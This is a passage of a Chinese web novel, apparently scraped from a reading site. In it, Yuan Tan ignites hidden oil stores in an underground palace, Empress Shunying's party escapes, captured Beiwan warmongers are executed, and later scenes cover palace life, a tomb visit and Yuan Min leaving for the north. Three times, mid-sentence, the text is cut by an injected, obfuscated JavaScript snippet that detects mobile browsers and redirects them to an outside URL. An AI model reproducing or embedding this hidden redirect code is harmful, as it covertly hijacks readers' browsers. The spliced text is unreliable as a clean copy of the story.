在场众人先是被一连串“你跟……的孩子”听得一愣一愣,又听元昙将天下男人都骂了进去,顿时满脸尴尬,再后来听元昙说出思洛和思源的身份,更是面面相觑。 苻洹讶异盯向苻洵,用嘴型说出“冤大头”三个字。 元昙笑得更疯:“可不就是冤大头,明明跟自己毫无关系,偏要去救,差点把命搭进去。” 冯栩绝望地哀叫:“你骗我!他们不是师父的孩子!” “我何时说过他们是?”元昙毫不在意地说,“从头到尾全是你自己揣测,刚好来个冤大头不否认……你们这些男人真好笑,哈哈哈哈……冯栩!你杀了我的孩子,我就要杀了你的孩子!” “那也是你的孩子”,冯栩两眼含泪,喃喃低语,“就为两个野种,你要杀了我们嫡亲的孩子?” “野种?我的孩子,你凭什么说他们是野种?”元昙仰起头,傲然道,“肚子长在我身上,我想跟谁生就跟谁生,我想杀谁就杀谁,与你何干?” 然后,她看向苻洵:“你不要自作多情,我传递讯息,也不过是想借你们之手,替我的孩子复仇!” 苻洵和苻洹同时沉默、垂下眼眸,不忍告诉她思源已逝。 殿堂上方传来一阵喧嚣,石壁开始晃动,苻洹立即警惕地将长枪横在前方,跳到苻洵和舜英身边守卫。 舜英反应如常:“无妨,自己人。” 轰隆声不绝于耳,王座左右两侧各出现一个凹陷,一丈见方的甬道缓缓张开,各冲出一队人马、铁甲铮铮作响,为首二人飞奔到舜英面前,单膝跪下:“禀告陛下,臣南宫羽/郎琊率玄甲营多方搜罗,已成功擒获北宛所有主战者,特来向陛下复命!” 舜英淡淡颔首:“爱卿辛苦,不必多礼。” 甬道里人头攒动,玄甲营押解者五花大绑的各部单于、武士、好战者……足足上千人,那些人都负伤在身、严重的甚至缺胳膊少腿,疼得全身颤抖,却仍骂骂咧咧污言秽语,任玄甲营如何踢膝弯,都撑着双腿不肯跪下。 “我大宛男儿,永不向中原娘们俯首称臣!” 南宫羽听着不堪,忙命人去堵他们的嘴。 “不必堵,随他们骂,只有最无能的人,才会将‘女人’当作辱骂”,舜英慢慢站起来,神情风轻云淡,逐步走过怒吼啐骂的男人,粲然一笑,“朕不稀罕你们的臣服,只想要你们的命。” 她向苻洹和元承赟挥手:“押上地宫,车裂示众!” 然后,她走到元昙面前:“告诉我,石脂在哪里?” 众人倏然一惊。 元昙又笑起来:“你马上就知道了!” 苻洹和元承赟立即跑到她面前:“陛下,咱们快撤。” 舜英头也没回:“先把人押上去,你们都撤了。” 谢恬立即收起架在元昙脖子上的刀,着手安排更多悬梯。 元昙愣怔了片刻,眼里突然涌出泪水,又摸了摸冯叶的脸,将他推进桑珠怀里:“叶儿,从今以后,桑珠姑姑就是你的额吉。” 舜英似有所感,回头看,桑珠牵着叶儿、承赟扶着苻洵,苻洹调度,所有人正顺着悬梯有条不紊往上攀爬。 “褚姐姐,听说你成了开国女帝,也将立桑珠为北宛之王”,泪水不断掉落,元昙笑着环视周围,“你喜欢的男子以你为尊、你的儿女以褚为宗族,整个中原都匍匐在你脚下,干得真漂亮!” “咱们女子开疆拓土、保家卫国,建功立业不输男儿,凭什么所有功绩都被算到夫主头上。凭什么他们可以三妻四妾、却只许咱们一心一意,专宠一个人就叫痴情,让你一个接一个生孩子就叫恩赐?” “生孩子真疼啊,比金州七十二道酷刑还疼,生下的孩子还要跟他姓,他们还将这当成恩赐……” 元旻刚走到出口,听到此话身形一僵。 元昙远远看着他:“四哥啊,景和宫浮玉宫斗了十几年,我们都恨错了人。母妃真傻,我也真傻,真正该恨的,不是母后和你,而是我那贪心的父王啊。王位也想要、挚爱也想要,世上哪有那么便宜的事?” “看你天资聪慧、性情沉稳,早认定你是继承人,又怕你恃才生骄,故意冷落你、苛待你……我那可怜的兄弟们全都做了你的磨刀石。” 元旻垂眸,愣愣注视着地面,有什么东西滴在手背上,温热的、咸涩的,他举起手背,看到两滴泪水。 舜英眼圈一热:“阿昙,跟我走吧,你可以将功折罪、待十年八年徒期满,咱们一起建功立业。”话一出口,她就愣住了,类似的话她说过,也亲眼见证过他们的结局。 元昙轻轻摇头:“这里存放了几百车石脂,我只晓得很少一部分,其余的只有冯栩清楚,他不可能说出来。所以……” 所以只有那一个办法。 被钉在柱子上的冯栩听到自己名字,下意识动了动,竟抽搐着将身体拔出来,用膝盖撑地、颤巍巍向悬梯爬去。 “你们来的那条路,是安全的。”元昙轻轻抹去泪水,微笑注视着她,很美、梨花带雨,像十六年前初见。 她轻轻推了一把舜英:“褚姐姐,走吧。” 然后,缓缓转动王座旁的按钮,石壁轧轧移开,露出一个仅容一人通行的门口,元昙走进去,抱出一坛石脂、揭开泥封泼洒在地上,再进去抱出一坛……地面、石壁、墙脚、每条甬道,很快积满浓黏的黑色液体。 冯栩发出惊恐的嚎叫,顾不得剧痛、也不管会不会被雍军诛杀,膝行速度陡然加快、飞速冲向悬梯。 元昙轻蔑看了他一眼,没有理会,只不断泼洒石脂,傲然大笑:“我乃崔采薇之女,我阿娘是翱翔九天的朱雀,我绝不做摇尾乞怜的燕雀。立身于世,生不五鼎食,死则五鼎烹!” 舜英鼻子发酸,泪水模糊了视线,转身走向悬梯。 元旻将苻洵往悬梯上推了推:“你们先走,我殿后。” 苻洵思量自己此时体虚,留在这只会拖后腿,于是由承赟拉着、手脚并用攀向石洞。 地殿内,不知何处迸出个火星,落到石脂上、轰地腾起大火,亮黄焰苗飞速膨胀,暴烈地向四方扩张。 舜英足尖不断点地,飞快腾挪跳跃,终于抓住悬梯,火焰却已顺着悬梯缠绕而上。 “手给我!” 舜英毫不迟疑伸出手,旋即,一股大力从上方传来,伴随着脱臼的剧痛,她整个人拔地而起、被抛飞到半空,穿过地殿天花板向上飞去。 苻洵一跃而起,在半空搂住她旋转半圈,倾斜了个角度,稳稳落在地上。 轰隆隆巨响,地板中央裂开的缝隙正在合拢,苻洹和承赟当机立断砍断悬梯,拼命拉拽缠在元旻腰间的铁链,舜英和桑珠交换了个眼神,跑过去一起用力。 地宫已是一片火海,绳索扯得飞快,火焰膨胀得更快。终于,在缝隙即将合拢的那一刻,拉出个脚底着火的人。 苻洵不知从那挖来一坨淤泥,和叶儿一起抬着。说时迟那时快,就在火焰即将窜上元旻衣袍下摆时,一盆淤泥从天而降,浇熄即将膨胀的焰苗。 元旻瞥了一眼满身恶臭脏污:“……” 他怀疑苻洵是故意的,刚才明明看到有水。 情势不容他多想,脚底疼痛钻心,身躯忽然一轻,是承赟背起了他。 “跑!” 舜英擎灯在前疾速腾挪跳跃,桑珠拉着叶儿紧随其后,苻洹背起苻洵、承赟背起元旻健步如飞。 脚底不断传来巨大震动轰鸣,头顶抖落簌簌灰尘泥块,幸亏走前面的人撤得干净,几乎一路畅通无阻。 一群人在昏暗的地底不知跑了多久,累得即将断气时,前方传来嘈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178112|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂的人声。旋即,谢恬和郎琊在上方高呼“陛下他们来了”,头顶垂下十几条绳索。 他们两腿沉得像灌了铅,又酸又痛,一停下来就汗如雨下、再也不想挪动分毫,于是将绳索系在腰间,任由他们将自己拉上地面。 清新空气骤然涌入鼻腔,带着青草野花的甜香,沁人心脾。暗道出入口在阿茹娜雪山的一个草坳,外面已是繁星满天,他们不知不觉竟在地下待了一天一夜。 一群人累得吃不下饭,喝了几口米酒,枕臂躺在柔软的青草上,听着此起彼伏的虫鸣,一起看星空万里、杳杳无垠。 桑珠长吁短叹地嘟囔:“我这辈子都不想再钻地洞了。” 舜英宠溺一笑:“等你即位,让人把地宫填平就是。” 他们逃出来后,离出口二三十里地突发地动,坍塌陷进去一个大坑。舜英为保险起见,又让人在大坑里堆上干草、倒上火油再次引燃,直到燃无可燃、再深挖周围,力图清除所有藏在地底的石脂。 桑珠认真思考半晌:“拥有权力是很好,一挥手就有无数人替你卖命。可我还不太懂对应的责任,更不懂如何稳固权力、使用权力。” 舜英笑得更温柔:“你可以慢慢学习,我会安排人到北宛来教你。” 众人皆知舜英话中含义,但看桑珠满脸天真、对权力并不痴迷眷恋,又觉释然。 他们在草坳歇息了约莫半个时辰,才懒洋洋起身,回柘枝城营地。元旻坐在地上,正不太熟练地往脚踝敷烫伤药。 承赟本想帮他,又不好直接上手,只得讷讷看着。他敷好药膏,又开始打量黑黢黢的鞋袜,微微蹙眉。 “结痂之前都别穿鞋袜,仪容重要还是脚重要?”苻洵凉凉说了句,又对承赟说,“我那儿有更好的烫伤药,待会儿让人给你送去。” 舜英忍俊不禁,走过叔侄俩时,轻轻说了声:“谢谢。” 元旻抬头泰然一笑:“你救过我那么多次,我还一次也没什么。” 舜英发现,他跟记忆中不太一样了,从前他一颦一笑莫不端雅克制,如今却透着直白暖意、像开在阳光下的白花。 她心底越来越踏实笃定,伸手搀起苻洵:“还痛得厉害吗?痛就走慢点。” 苻洵顺势靠在她身上:“好,我们慢慢走。” 就这样互相搀扶、相依相偎地慢慢走,一起走到星辰散去、夜色褪尽,走到东方跃起轻快鲜亮的朝阳。 . 大雍咸宁元年五月初八,北宛仅剩的二十二部各自选出主和的新单于,受命前往柘枝城觐见。 阿茹娜雪山南麓早已搭起高台,上千名主战派被施予五马分尸之刑。肢体扯断喷溅的鲜血,将方圆十里草原滋养得格外肥沃。 一片哀嚎惨叫声中,众军簇拥下的咸宁帝不怒自威,神色冷漠,一字一字道:“若再有黩武之辈,他们便是下场。” “好战者亡!兴兵犯境者,我大雍虽远必诛!” 观刑之人无不震悚,纷纷跪地参拜:“大雍陛下千秋万岁!北宛二十二部愿永为大雍臣属!” 同月,咸宁帝迁十万大军长驻北宛,在阿茹娜雪山南麓、实施五马分尸的土地上重建柘枝城,扶立桑珠为北宛王,并设北疆都护府,任命谢朗为北疆都护,爵同国公。 又命驻军开始修建驰道军驿,从柘枝城直通朔门关。 五月底,咸宁帝班师洛京后,下旨改威远将军府为西境都护府,任命南宫羽为西境都护,爵同国公。 自此,南北三千里、东西四千里,西羌高原雪线、乌兰山、玄阴山、东部海岸线、滬南道、长流川,尽为大雍之疆域。北宛二十二部、西羌诸国皆为大雍之臣属。 六月初,皇太子褚承祎传令诸藩国、世家大族、重臣,将在六月二十八为咸宁帝庆贺生辰,举办“千秋宴”。 230. 君卧高台 夏日薰风越过冰鉴,吹来满殿清凉,藕花淡香沁得五脏六腑都透明了。 舜英躺在帐底睡得很香。 梦里显出一张又一张脸,贺浮白、许一舟、褚秋池、郭洋、念笙、姜嫣、武煊、苻沣、景樊……他们的眉头舒展开,露出平和的微笑,逐渐隐没于黑暗。 她仍站在尸山血海中,一张张死去的面孔逐渐模糊消散,淹没到小腿的积血正在退去,和着腐烂成灰的尸骨无声融入地底。土地变得黝黑柔软,画面定格,却并非凝固的死寂,地底像是有潜流涌动、蓄势待发。 不知何处吹来一缕风,传来一声轻快的鸟鸣,旋即,画面活了:细雨如丝,土地绽开条条细缝,嫩绿芽苗从裂缝中顶出,黝黑图纸上的浅绿越来越多,逐渐覆盖了整张画纸,不断向上蓬勃生长、迅速开出缤纷花朵。 鸟在鸣、蛙在唱、碧绿在生长、稻花在飞扬、孩童在金黄的田垄上奔跑笑闹。 她笑着从梦中醒来,银红色芙蓉帐飘飘扬扬,屋外蝉鸣阵阵,她还睡在瑶华宫。 她坐在床上惬意地伸了个懒腰,殿门开合,苻洵端着一碗凉汤进来,坐到床榻前:“醒了?” 舜英轻轻“嗯”了声,长舒一口气:“很久没睡得这样踏实了。” 苻洵瞄了眼冰鉴:“那要不再睡会儿?” “让她们进来替我更衣吧”,舜英笑着摇摇头,“承祎和隽儿不是要带咱们逛?回来只顾睡觉,还没仔细看过这儿。” 苻洵笑着说:“我倒先睹为快,确实改造得不错,起来逛逛也好。” 舜英年初登基时,因时间仓促,长庆宫虽修缮稳固,终究太过质朴萧条。她率军北伐后,褚承祎和苻隽商量着送她个惊喜,于是在政务之余的闲暇,分别请教许姿、元璟、元旭等人,亲手绘制长庆宫改造图交由少府。 待他们班师回朝,长庆宫已经焕然一新。 荣、翊两国皆崇尚节俭,是以并未铺陈珠玉绮罗,用朱漆将梁柱涂刷成深红,将风雨走廊的帐幕从天青换作银红浅金,阖宫遍植芙蕖、红梅、茉莉、素馨、山茶等花卉。端的是朱阁绮户、花木扶疏。 “改造长庆宫,靡费最多的是各宫火道”,承祎在前边带路,娓娓叙说,“洛京每年要冷三四个月,集贤殿编纂文书的先生大多数年事已高,弟弟妹妹年纪还小,儿臣自认这钱花的还算值。” 承徽捂嘴偷笑:“皇兄怎么跟个钱串子似的。” 舜英心念一动,想到幼时趣事,也忍不住抿嘴轻笑。 昭阳宫是君王寝宫,兼顾休寝和理政功用,一如昇阳旧宫的勤政殿。继续往北走就是瑶华宫,舜英走之前觉得位置合适,将此选为中宫。 入夜,玉明殿亮起零星灯光,褚秋水筹备的接风家宴,终于在舜英回洛京后的第十天,顺利凑齐。 金州菜、阊江菜、昇阳菜、灵昌菜、奉宁菜、还有北疆风味的炙羊肉……端的是百花齐放大杂烩。承赟提着把小刀片羊肉、依次放进几个孩子面前小碟,元旭忙着给被辣得吸溜的班珂倒冰水,褚秋水忙着按各人口味给每个人布菜,元璟……元璟忙着吃。 至于孩子那边,承祎不声不响观察每人喜好,苻隽正娴熟地替承徽剥虾…… 苻洵凝神盯了苻隽和承徽一瞬,不得不承认,在洞察力和布局能力上,承祎确实天赋异禀。不过……能让局中的每个人都舒服,这能耐手段实在难得。 念及此处,苻洵心情欢畅起来,倒了杯酒一饮而尽。 “爹爹……我要……”知蕤被傅母抱在怀里,呀呀喊着,侧着身子去抢苻洵手中酒杯。 苻洵吓了一跳,忙把酒泼在地上,又拿了个一模一样空杯子塞她手里玩。 “不许跟你爹学!”舜英头大如斗,又狠狠瞪了苻洵一眼,“都怪你,当孩子面喝什么酒。” 苻洵摸了摸鼻子,赶紧让人将酒坛全部抱走。 元璟看不下去:“还是把孩子抱下去吧……阿洵大半年没沾酒,今天大家高兴,喝点也没事。” 褚秋水也笑吟吟替苻洵解围,舜英一口气憋着发不出来,怏怏地让人把知蕤抱走,心情一郁闷,自己也倒了一杯酒慢慢抿着。 承徽瞧着有趣,扯了扯苻隽袖子:“隽哥哥快看,你叔父怕老婆。” 苻隽暗叹,你看到的已经收敛了好多,以前他们俩……想了想,他福至心灵:“我觉得吧,怕老婆没什么不好,越怕家里越和气。” 元旭猛然呛咳起来,承祎手里杯子抖了抖、溅出几滴茶水,承赟高兴地附和:“有道理,我爹常说自己有福气。” “你喝这个。”元璟递过去个精致的酒瓶,舜英倒了一杯尝尝,果然是错认水,还掺了水! 她开始放心大胆,一杯接一杯像喝蜜水,直到眼前灯火晃出轻微重影。 舞低杨柳楼心月,歌尽桃花扇底风。 苻洵将舜英扶上肩舆时,元璟目瞪口呆站起来:“她这酒量……一瓶错认水,掺了六七成的水,这都能醉?” 周围人齐刷刷点头,给予肯定的眼神。 瑶华宫原本有一口水塘,清淤后遍植芙蕖,又在塘岸栽种几棵红梅,再在院中花圃种上茉莉山茶,围墙根搭花架、爬满素馨花藤蔓。 肩舆停在瑶华宫门口,苻洵将舜英打横抱起,穿过风雨走廊,夜风阵阵,清雅的芙蕖、淡甜沁凉的茉莉素馨香飘满院,静谧安详得像一场梦。 寝殿的布置跟邶风别苑、或是洛川别苑的主屋十分相似,只是比主屋更大,专门隔出一间汤泉池。 见她酒醉,女官和嬷嬷全都迎上来,两人颠沛多年戒心很重、仍不喜欢被贴身伺候,只叫人烧好热水灌进浴桶,再备好香露、澡豆、草药汁、帕子、入浴花瓣、干净里衣等物就退出,苻洵又吩咐她们熬两碗醒酒汤。 嬷嬷们是邶风别苑的旧人,只当他们热乎劲还没过,点好一炉香就退了出去。 舜英半醉半醒,浸在浴桶里扑腾,口齿模糊地叫屈:“全都护着你,他们到底站哪头的?” 苻洵偷偷扬唇,一边摁住她肩膀免得水泼出来,一边将她头发浸到草药汁里,再慢慢洗干净。 舜英又愤愤拍水:“都怪你,嘴那么甜,把我师父和姨母都抢走了。” 洗澡水溅了苻洵一脸,他再也忍不住,别过脸噗呲笑起来:“那我以后对他们嘴毒些?” “你敢!”舜英凶巴巴猛然一转头,湿答答头发在苻洵衣襟拍出一道水痕,“他们也是你师父和姨母……” “别乱甩,疼”,苻洵忙拿过干帕子替她拧头发,“这叫丈母娘看女婿、越看越喜欢,再说马上就要册封,咱们可是昭告天下的一家人。” 舜英扬了扬眉:“我原想定了太子就马上册封,偏你别别扭扭,非拖到现在。” 苻洵正色说:“没骗你,我真在替哥哥守孝。” 舜英撇嘴:“守了九个月不到,怎么又愿意了?” “差不多了,守期不在时长,在于亡者遗愿”,苻洵替她将头发挽了个松松的髻,淡然地笑笑,“北宛已平,四境臣服,天下太平,百姓安居乐业,是哥哥从小的心愿。” “我前些年犯过很多错,好在上天眷顾,遇到了姐姐,有机会将过错一一弥补,最终达成兄长遗愿。”他反手将帕子和中衣递给她,背过身去妆台取面脂和桂花油。 花梨木雕成的重明和螭龙盘成一圈,抱着中间的梳妆镜,妆台上有一只小小白玉瓶,插着两支新鲜的茉莉花。他顺着瓶身往下看,看清木雕底座后忍不住笑出声——一只表情乖巧、却怎么看怎么狡黠的小狗。 “看什么看?”后背传来温热柔软,甘甜蜜合香混着水汽萦绕身周,舜英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184755|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从背后环住她的腰,下颌侧侧抵在他肩膀上,“我前几天乘凉时候刻的,你不是属狗吗?” 苻洵转身搂住她:“你莫不是忘了,咱们同岁?” 舜英仰头笑吟吟地说:“对啊,都属狗。”像是为了印证这句话,她张嘴一口咬在他喉结上。 她温热的呼气喷在他颈部,酥酥痒痒,喉结轻微刺痛激得他一颤,压低声音问:“你是不是还忘了,我孝期已过?” 舜英酒后脑子有些迟钝,懵了片刻:“那咋了?” 苻洵一把将她捞起,打横抱着走向床榻:“你说呢?” 第二天一早,苻洵跟掌事姑姑说陛下宿醉未醒,然后传了一桌饭菜,过了半个时辰又让人进去收拾,只见满桌硬菜去了大半。 用完午膳后,又传了燕居服,命嬷嬷候在外面等传唤服侍更衣。 “起来起来,姜刺史回京了”,苻洵轻轻推她,“正候在朱雀门外等传召呢。” 舜英瞌睡醒了大半,腾地坐起来:“她有什么急事?”蓦地意识到什么,一把扯过薄被掩住上身,恼羞成怒:“不许看!” 苻洵忍俊不禁:“是个天大的好消息,你往前想想?郎琊跟你说过的。” 舜英从他手里接过香薷饮、喝了几口,混沌的脑子逐渐清醒:“北宛极东那片沃野?” 六月初十,姜娥班师回朝,带回天大的好消息——她从北宛极东那片沃野出发,一直往西南方向走,穿过近四百里深山老林,回到了燕州嵇兴。 朝野上下无不振奋鼓舞,司农令司跃跃欲试,已着手安排工匠、量地官和堪舆先生,只等咸宁帝一声令下,就跑去燕州开拓道路。 即位第一年就平定北宛、开拓新疆土,从朝野到民间,无不称颂咸宁帝代天巡狩,必将开创出一代盛世。 . “阿晴说的没错,天命本就该落在她身上”,书房里,元旻把玩着一方钤印,唇角勾起淡淡笑意,“是我令她明珠蒙尘。” “她可没这样说你”,元旭含笑摇头,一瞬不瞬盯着他,“即位之后,她跟我说过,你是她称帝之路的第一个贵人。” 元旻轻轻叹了口气:“论气度和胸襟,他们两个……我确实自愧不如。” 他忽然抬眸看向侧墙上的博古架:“记得你开府那年,阿英专门订做了个摆件送你,是……” “是个金算盘”,元旭苦笑,“她笑我是钱串子。” 元旻忍俊不禁:“你料理民生是一把好手,也当得起金算盘,那摆件如今……” “不见了,南迁那几年到处都很乱,搬来搬去不知道何时弄丢的”,元旭真诚地叹了口气,“可惜那么大块足金和宝石。” 元旻笑了:“你如今位高权重,还缺那点金子和宝石?” “你若想,也随时可以位高权重”,元旭为难地蹙眉,“百废待兴,正是用人之际,谁能比你能干?不过她说了,若你觉得别扭,也可以挑块好封地,把母后和承祉接过去,当个富贵闲人。” 元旻重复一遍:“哪里都可以?” 元旭生怕他反悔,忙补充:“除了洛京、昇阳和奉宁,别处随便挑。” 次日,元旻站在昭阳殿门口,许姿忙带一群宫人迎上来,沏茶、换鲜果端糕点,又说元、苻两族家主及长辈只需平礼。 说完这些,许姿有点尴尬:“织室的人还在,正替陛下和宸王殿下量体改衣,劳烦等候片刻待下官通报。” 确切些,是裁量册封大典的礼袍,元旻平静地笑笑:“无妨,是我来早了。” 笑闹声渐行渐近,紧跟着一阵急促的脚步声,承徽嘻嘻哈哈从庭院跑过来,承祯迈着蹒跚碎步追她,再后面跟了一群傅母和嬷嬷。 承祯小短腿追不上,扁了扁嘴就要掉眼泪。 庭院传来熟悉的男声。 231. 我栖春山 院中说话的,是元旭,正扬声提醒:“徽儿,带阿祯去别处玩,你哥在书房看折子看得想打人。” 承徽笑嘻嘻地问:“那我带阿祯去六叔家玩,六叔六叔,这会儿去还有没有槐叶冷淘?” “今天没得吃,你叔娘要去京郊骑马”,元旭顿了顿接着说,“跑快点,可以让她们带上你。” 承徽拉着承祯走到前殿,看到坐在堂上的元旻,立即换上温婉得宜的微笑,十分端庄敛衽一礼:“徽儿见过父王。”又很乖巧地从宫人手中接过水壶,替他续茶。 在元旻眼里,她自小就如此温婉得体,他原本只觉寻常,可方才听见那肆意的笑声,再回头见如此乖顺,心中有些莫名不是滋味。 无论是礼法还是精神寄托,承祎和承徽都已找到真正的父亲。 于是,他温声说:“不是要骑马?快去吧,晚些赶不上她们了。” 承徽恭敬地退到殿门,牵起承祯走下玉阶,确定他看不见了,才开始撒丫子狂奔。 元旻看着越跑越快的两个小黑点,垂眸不知在思索什么。庭院传来苻洵和舜英的交谈,模模糊糊压得很低,传入他耳中却字字清晰。 苻洵说:“我先去看看知蕤,她这红疹子越起越多。” 舜英道:“热成那样的,你跟傅母说一声,不能用冰、拿井水多给她擦擦。” 苻洵问:“午膳怎么吃?” 舜英说:“下午要检阅禁军?不如去西市吃点新鲜有趣的。” 苻洵嗓音带笑:“听隽儿说,西市有家店卖烤驼峰,中午去看看?” 舜英惊喜道:“之前咱们在月山国吃的那种,传到洛京了?” “听说是月山商人开的店,还挺火爆”,苻洵说,“我让秦川换身衣裳,早点去排队。” 琐碎、平淡,听着又热闹又温暖,明明他们在一起还不到十年,竟比青梅竹马那二十多年还熟稔随和。 元旻静静听着,一颗心慢慢放回实处,唇角也不自觉上扬,像是又放下些重担。正思忖间,深红裙摆随风轻拂,甘甜花香已萦绕满室,侍立女官齐声下拜:“奴婢恭请皇上圣安。” 元旻此次前来,是为辞行。 他想带冯太后和承祉去柘枝城,投身北疆都护府,无诏永不回京。 元旻深思熟虑过,那是冯太后念念不忘的故乡,也是他毕生心结。如今,所有人离开他都过得更好,唯独去北宛,他的余生才会更有价值。 他对她那些伤害,若易地而处,怕是也只愿死生不复相见。 还有更多不能言说,冯太后、他、承祉三人,与舜英结怨太深。他当过君王,深知手握大权的人最后会变成什么样。离洛京越远,他们才会越安全。 冯太后行事再理亏,天下所有人都可以恨她、唾骂她,唯独他没有资格。 舜英沉思许久说:“桑珠还是孩子心性,我确实不太放心,你若肯去北疆再好不过。” 就算有十万大军、有北境都护府,她仍不太放心桑珠掌控局势。 半个时辰后,中书令拟圣旨,册封元旻为镇北王,与北疆都护府互相协作,共同制衡柘枝城王庭、掌控北宛大局,无诏永不过玄阴、乌兰二山。 她如此宽容,元旻并不意外:不是因为善良,更不是什么旧情——那些早被他挥霍一空。她不赶尽杀绝,仅仅出于绝对自信。 她是由水步骑三军、两国重臣王族、几千万百姓共同拥立的帝王,受天地万民的祝福登基,又屡创政绩,托着她这艘船的水深千丈,深孚众望、社稷稳固,他们这些前朝旧人翻不起多大浪花。 她厚待元氏宗族、供养伤过她性命的冯太后和元承祉,更多是为展示自己的帝王气度。若真有人起了什么不知好歹的心思,怕是比耶拉部下场更凄惨。 离开时,舜英突然喊住他:“过几天我们要去给阿晴扫墓,你要不再等等?” . 六月十四,咸宁帝率子女及文武百官前往阳华山,拜祭已故的凰羽寺少祭司元晴。 元晴的陵墓在辰陵靠外的位置,舜英走到陵园门口,遥遥望见她的坟墓银装素裹,像是覆盖着厚厚积雪。走近才发现,那是一簇簇雪白六棱花,圆叶边缘一圈银——六月雪。 依照元晴临终遗愿,墓碑并未镌刻她姓名、来处、职务。她出身王室贵胄、年幼入山修行,此后数十年奔走各地,更不惜以身入局、以命为筹,将天地万物当作一盘大棋,为天地立心、为生民立命。最终,为万世开太平。 “天地不仁,以万物为刍狗;圣人不仁,以百姓为刍狗。天地之间,其犹橐龠乎?” 这是她留给世间最后的话语。 当晚,舜英结庐宿在元晴陵墓旁,她终于如愿梦到了元晴。 还是那座千仞高台,手可摘星辰,天高风急、云气蒸腾,元晴站在她眼前,身影越来越清晰。 舜英热泪盈眶:“阿晴,你终于肯见我了。” 元晴面带微笑:“我一直在天上看着你,看你怯懦避世,看你奋起一搏,看你大权在握,看你抛却所有虚无的怜悯和声名,用一颗强大的帝王之心,结束这一轮回的战火。” 舜英欣喜难抑,又有些不敢置信:“我真的做到了吗?” “是的,你做到了”,元晴笃定地颔首,“你带所有人走到了那个终点,你将开启一个太平盛世,我也是时候离开了。” 她的身躯重新开始变淡。 舜英慌乱地去拉,拉了个空:“你要去哪儿?” 元晴笑容温暖,声音轻柔得像拥抱:“我将去往轮回彼岸,下一世,也许仍在中原、也许在北宛、也许在西羌诸国。但是没关系……这些都是大雍之境,你将这片土地变得多和平富庶,我就会过得多安乐自在。” “我将变成芸芸众生,永远与你同在。” 舜英醒了,微笑看向淡金的朝晖,泪如雨下。 回程经过昇阳时,她下意识看向旧王宫,一瞥之下骤然惊住:缟素白花,缟素绸带,缟素灵幡……铺天盖地的白。 元旭在马车前禀告:“冯太后过世了。” 昨天,元旻祭拜过元晴之后,回宝慈宫,与冯姮关门长谈了一下午。听春羽说,元旻离开寝殿时,一向波澜不惊的脸上,满是绝望和悲戚,眼眶通红蓄满泪水。 然后,跌跌撞撞在宫道走了大半夜,宫学、景和宫、兴庆宫、集贤殿、上书房……甚至是浮玉宫,他都走进去看看,再退出来,像一缕无所依凭的魂魄。 同夜,冯姮饮鸩自尽——跟当年崔夫人一样的毒药,她最终遗愿是以王后之礼,与昭王合葬于阳华山王陵。 一个王后之位,她和她的养女,一个拼命往里钻、一个拼命往外逃。甲之蜜糖、乙之砒霜,不外如是。 六月二十,洛京各大客栈生意异常火爆,澄洛驰道车马塞途,龙门渡也停满画舫楼船。全是赶来洛京觐见咸宁帝,庆贺千秋节的藩国使臣、官员、王公贵族。 来最多的是苻氏长辈和子弟,因为咸宁帝已下旨,将在千秋节同时举办皇夫册封典礼。 澄洛驰道洛京入口,苻洵软语请求:“外公,你这么大把岁数了,还到处跑,多让人担心?” “我来洛京本就是为拜祭神女,如今也该回归山林,继续过舒坦日子”,蚩越盯了片刻苻洵,揶揄地笑笑,“听说你在禄丰山建了个村子,全是故乡人。把舆图给我,再安排几个人来照应,我也享享清福。” 苻洵喜出望外,忙吩咐白袍卫回长庆宫取舆图。 龙门渡口,长亭连短亭,元旻牵着满脸阴沉的承祉,春羽和司徒空站在他身后。春羽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191632|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自不必说,司徒空一向敬重元旻,得知他放弃执意镇北,也请命随其北上。 一半为辅佐,一半为监视。 这一趟送别,倒显得不怎么萧瑟。 “抱歉,一直把乞巧节当作你的生辰”,元旻对舜英微微倾身一礼,又转身拿起一个木盒、双手递给苻洵,平静地笑了笑,“一点薄礼,早就该送你的。” 登上甲板时,江风拂动他素色长袍,纤尘不染,像山顶一抔晶莹皎洁的白雪。 桨橹轻摇,船头破开波面,缓缓驶向怀阳。 承徽跳跃着挥动手臂,高声呼喊:“父王保重,我跟承赟哥哥会多来看你。” 元旻也笑着挥了挥手:“好,父王要是碰到好马,替你们留着。” 夏季吹南风,楼船向北速度极快,元旻站在船尾,直到岸上的人变作黑点、直到洛京城远得看不见,才缓缓低头。伸手,从袖间取出一枝浓绿。 没有花朵的海棠。 他注视良久,眼眶有点酸疼湿润。或许,只是朔北的风沙太大。 他像是释然地笑了,将那支海棠抛进伊河,看它随波涛起起伏伏、越飘越远。 